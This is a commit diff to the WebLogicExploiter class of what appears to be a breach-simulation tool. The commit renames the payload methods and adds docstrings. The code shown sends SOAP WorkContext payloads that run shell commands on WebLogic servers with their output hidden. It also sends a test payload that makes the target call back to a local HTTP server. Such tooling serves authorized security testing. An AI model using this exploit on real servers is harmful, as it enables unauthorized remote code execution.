forked from p15670423/monkey
Documented what's required and other minor changes
This commit is contained in:
parent
307a7c396c
commit
57e795573e
|
@ -56,9 +56,9 @@ class WebLogicExploiter(WebRCE):
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
payload = self.exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
|
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
|
||||||
else:
|
else:
|
||||||
payload = self.exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
|
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
|
||||||
try:
|
try:
|
||||||
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -99,12 +99,11 @@ class WebLogicExploiter(WebRCE):
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
return
|
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def check_if_exploitable(self, url):
|
||||||
# Server might get response faster than it starts listening to it, we need a lock
|
# Server might get response faster than it starts listening to it, we need a lock
|
||||||
httpd, lock = self._start_http_server()
|
httpd, lock = self._start_http_server()
|
||||||
payload = self.test_payload(ip=httpd._local_ip, port=httpd._local_port)
|
payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
|
||||||
try:
|
try:
|
||||||
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
|
post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
|
||||||
except exceptions.ReadTimeout:
|
except exceptions.ReadTimeout:
|
||||||
|
@ -116,6 +115,10 @@ class WebLogicExploiter(WebRCE):
|
||||||
return httpd.get_requests > 0
|
return httpd.get_requests > 0
|
||||||
|
|
||||||
def _start_http_server(self):
|
def _start_http_server(self):
|
||||||
|
"""
|
||||||
|
Starts custom http server that waits for GET requests
|
||||||
|
:return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
|
||||||
|
"""
|
||||||
lock = threading.Lock()
|
lock = threading.Lock()
|
||||||
local_port = get_free_tcp_port()
|
local_port = get_free_tcp_port()
|
||||||
local_ip = get_interface_to_target(self.host.ip_addr)
|
local_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
|
@ -129,11 +132,16 @@ class WebLogicExploiter(WebRCE):
|
||||||
lock.release()
|
lock.release()
|
||||||
httpd.join(SERVER_TIMEOUT)
|
httpd.join(SERVER_TIMEOUT)
|
||||||
httpd.stop()
|
httpd.stop()
|
||||||
return True
|
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def exploit_payload(cmd_base, cmd_opt, command):
|
def get_exploit_payload(cmd_base, cmd_opt, command):
|
||||||
|
"""
|
||||||
|
Formats the payload used in exploiting weblogic servers
|
||||||
|
:param cmd_base: What command prompt to use eg. cmd
|
||||||
|
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
|
||||||
|
:param command: command itself
|
||||||
|
:return: Formatted payload
|
||||||
|
"""
|
||||||
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
empty_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
<soapenv:Header>
|
<soapenv:Header>
|
||||||
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
@ -162,7 +170,13 @@ class WebLogicExploiter(WebRCE):
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def test_payload(ip, port):
|
def get_test_payload(ip, port):
|
||||||
|
"""
|
||||||
|
Gets payload used for testing whether weblogic server is vulnerable
|
||||||
|
:param ip: Server's IP
|
||||||
|
:param port: Server's port
|
||||||
|
:return: Formatted payload
|
||||||
|
"""
|
||||||
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
<soapenv:Header>
|
<soapenv:Header>
|
||||||
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
|
Loading…
Reference in New Issue